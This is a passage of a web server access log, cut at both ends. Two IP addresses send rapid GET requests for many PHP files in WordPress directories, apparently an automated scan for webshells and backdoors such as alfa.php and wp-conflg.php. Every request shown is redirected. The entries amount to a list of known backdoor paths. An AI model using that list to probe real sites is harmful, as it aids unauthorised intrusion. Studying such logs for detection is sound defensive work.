NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:25 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:26 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:26 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:27 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:28 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:29 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:30 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 